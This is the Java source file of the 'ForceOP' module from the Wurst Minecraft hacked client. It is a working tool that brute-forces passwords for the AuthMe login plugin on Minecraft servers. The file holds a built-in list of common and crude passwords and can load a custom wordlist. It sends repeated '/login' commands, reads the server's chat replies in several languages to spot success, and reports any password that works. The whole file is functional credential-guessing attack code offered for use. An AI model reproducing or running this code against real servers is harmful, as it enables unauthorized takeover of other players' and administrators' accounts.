/
ForceOpHack.java
305 lines (253 loc) · 7.04 KB
/
ForceOpHack.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
/*
* Copyright (c) 2014-2024 Wurst-Imperium and contributors.
*
* This source code is subject to the terms of the GNU General Public
* License, version 3. If a copy of the GPL was not distributed with this
* file, You can obtain one at: https://www.gnu.org/licenses/gpl-3.0.txt
*/
package net.wurstclient.hacks;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.List;
import net.wurstclient.Category;
import net.wurstclient.SearchTags;
import net.wurstclient.events.ChatInputListener;
import net.wurstclient.hack.DontSaveState;
import net.wurstclient.hack.Hack;
import net.wurstclient.util.ChatUtils;
import net.wurstclient.util.ForceOpDialog;
import net.wurstclient.util.MultiProcessingUtils;
@SearchTags({"Force OP", "AuthMe Cracker", "AuthMeCracker", "auth me cracker",
"admin hack", "AuthMe password cracker"})
@DontSaveState
public final class ForceOpHack extends Hack implements ChatInputListener
{
private final String[] defaultList = {"password", "passwort", "password1",
"passwort1", "password123", "passwort123", "pass", "pw", "pw1", "pw123",
"hallo", "Wurst", "wurst", "1234", "12345", "123456", "1234567",
"12345678", "123456789", "login", "register", "test", "sicher", "me",
"penis", "penis1", "penis123", "minecraft", "minecraft1",
"minecraft123", "mc", "admin", "server", "yourmom", "tester", "account",
"creeper", "gronkh", "lol", "auth", "authme", "qwerty", "qwertz",
"ficken", "ficken1", "ficken123", "fuck", "fuckme", "fuckyou"};
private String[] passwords;
private boolean gotWrongPwMsg;
private int lastPW;
private Process process;
public ForceOpHack()
{
super("ForceOP");
setCategory(Category.CHAT);
}
@Override
protected void onEnable()
{
passwords = defaultList;
gotWrongPwMsg = false;
lastPW = -1;
try
{
process = MultiProcessingUtils.startProcessWithIO(
ForceOpDialog.class, MC.getSession().getUsername());
new Thread(this::handleDialogOutput, "ForceOP dialog output")
.start();
}catch(IOException e)
{
throw new RuntimeException(e);
}
EVENTS.add(ChatInputListener.class, this);
}
private void handleDialogOutput()
{
try(BufferedReader bf =
new BufferedReader(new InputStreamReader(process.getInputStream(),
StandardCharsets.UTF_8)))
{
for(String line = ""; (line = bf.readLine()) != null;)
messageFromDialog(line);
setEnabled(false);
}catch(IOException e)
{
e.printStackTrace();
}
}
private void messageFromDialog(String msg)
{
if(msg.startsWith("start "))
{
String[] args = msg.split(" ");
int delay = Integer.parseInt(args[1]);
boolean waitForMsg = Boolean.parseBoolean(args[2]);
new Thread(() -> runForceOP(delay, waitForMsg), "ForceOP").start();
return;
}
if(msg.startsWith("list "))
{
loadPwList(msg.substring(5));
sendNumPwToDialog();
}
}
private void loadPwList(String list)
{
if("default".equals(list))
{
passwords = defaultList;
return;
}
try
{
List<String> loadedPWs =
Files.readAllLines(Paths.get(list), StandardCharsets.UTF_8);
passwords = loadedPWs.toArray(new String[loadedPWs.size()]);
}catch(IOException e)
{
e.printStackTrace();
passwords = defaultList;
}
}
private void sendNumPwToDialog()
{
String numPW = "numPW " + (passwords.length + 1);
PrintWriter pw = new PrintWriter(process.getOutputStream());
pw.println(numPW);
pw.flush();
}
private void sendIndexToDialog()
{
String index = "index " + lastPW;
PrintWriter pw = new PrintWriter(process.getOutputStream());
pw.println(index);
pw.flush();
}
@Override
protected void onDisable()
{
EVENTS.remove(ChatInputListener.class, this);
if(process != null)
try
{
process.destroyForcibly();
process.waitFor();
}catch(InterruptedException e)
{
throw new RuntimeException(e);
}
}
private void runForceOP(int delay, boolean waitForMsg)
{
// abort if disconnected before pressing start
if(MC.player == null)
{
setEnabled(false);
return;
}
MC.getNetworkHandler()
.sendChatCommand("login " + MC.getSession().getUsername());
lastPW = 0;
sendIndexToDialog();
for(int i = 0; i < passwords.length; i++)
{
if(!isEnabled())
return;
if(waitForMsg)
gotWrongPwMsg = false;
while(waitForMsg && !gotWrongPwMsg || MC.player == null)
{
if(!isEnabled())
return;
sleep(50);
// If player gets kicked, don't wait for "Wrong password!".
if(MC.player == null)
gotWrongPwMsg = true;
}
sleep(delay);
boolean sent = false;
while(!sent)
try
{
MC.getNetworkHandler()
.sendChatCommand("login " + passwords[i]);
sent = true;
}catch(Exception e)
{
sleep(50);
}
lastPW = i + 1;
sendIndexToDialog();
}
ChatUtils.message("\u00a7c[\u00a74\u00a7lFAILURE\u00a7c]\u00a7f All "
+ (lastPW + 1) + " passwords were wrong.");
}
private void sleep(long millis)
{
try
{
Thread.sleep(millis);
}catch(InterruptedException e)
{
throw new RuntimeException(e);
}
}
@Override
public void onReceivedMessage(ChatInputEvent event)
{
String message = event.getComponent().getString();
if(message.startsWith("\u00a7c[\u00a76Wurst\u00a7c]\u00a7f "))
return;
String msgLowerCase = message.toLowerCase();
String[] wordsForWrong = {"wrong", "incorrect", // English
"falsch", // Deutsch!
"mauvais", // French
"mal", // Spanish
"sbagliato"// Italian
};
if(containsAny(msgLowerCase, wordsForWrong))
{
gotWrongPwMsg = true;
return;
}
String[] wordsForSuccess = {"success", // English & Italian
"erfolg", // Deutsch!
"succ\u00e8s", // French
"\u00e9xito" // Spanish
};
if(containsAny(msgLowerCase, wordsForSuccess))
{
if(lastPW == -1)
return;
String password;
if(lastPW == 0)
password = MC.getSession().getUsername();
else
password = passwords[lastPW - 1];
ChatUtils.message(
"\u00a7a[\u00a72\u00a7lSUCCESS\u00a7a]\u00a7f The password \""
+ password + "\" worked.");
setEnabled(false);
return;
}
if(containsAny(msgLowerCase, "/help", "permission"))
{
ChatUtils.warning("It looks like this server doesn't have AuthMe.");
return;
}
String[] wordsForLoggedIn = {"logged in", // English
"eingeloggt", // Deutsch!
"eingelogt" // falsches Deutsch!
};
if(containsAny(msgLowerCase, wordsForLoggedIn))
ChatUtils.warning("It looks like you are already logged in.");
}
private boolean containsAny(String msg, String... words)
{
for(String word : words)
if(msg.contains(word))
return true;
return false;
}
}